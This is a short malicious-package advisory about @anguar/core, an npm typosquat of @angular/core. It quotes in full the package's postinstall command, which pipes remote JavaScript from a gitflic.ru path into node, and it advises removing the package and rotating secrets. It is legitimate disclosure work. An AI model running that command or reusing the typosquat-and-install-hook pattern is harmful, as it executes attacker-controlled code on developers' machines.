# MAL-2026-17535: Malicious code in @anguar/core (npm)


- **Type:** Malicious package
- **Package:** `@anguar/core` (npm)
- **Published:** 5 Oct 2026

## What is MAL-2026-17535?

MAL-2026-17535 is a malicious package in @anguar/core, published on 5 Oct 2026. 

### Official description

Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a gitflic.ru path under the user `hellscripter` (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs `npm install` will execute arbitrary attacker-controlled code on their machine.

## What should I do about MAL-2026-17535?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
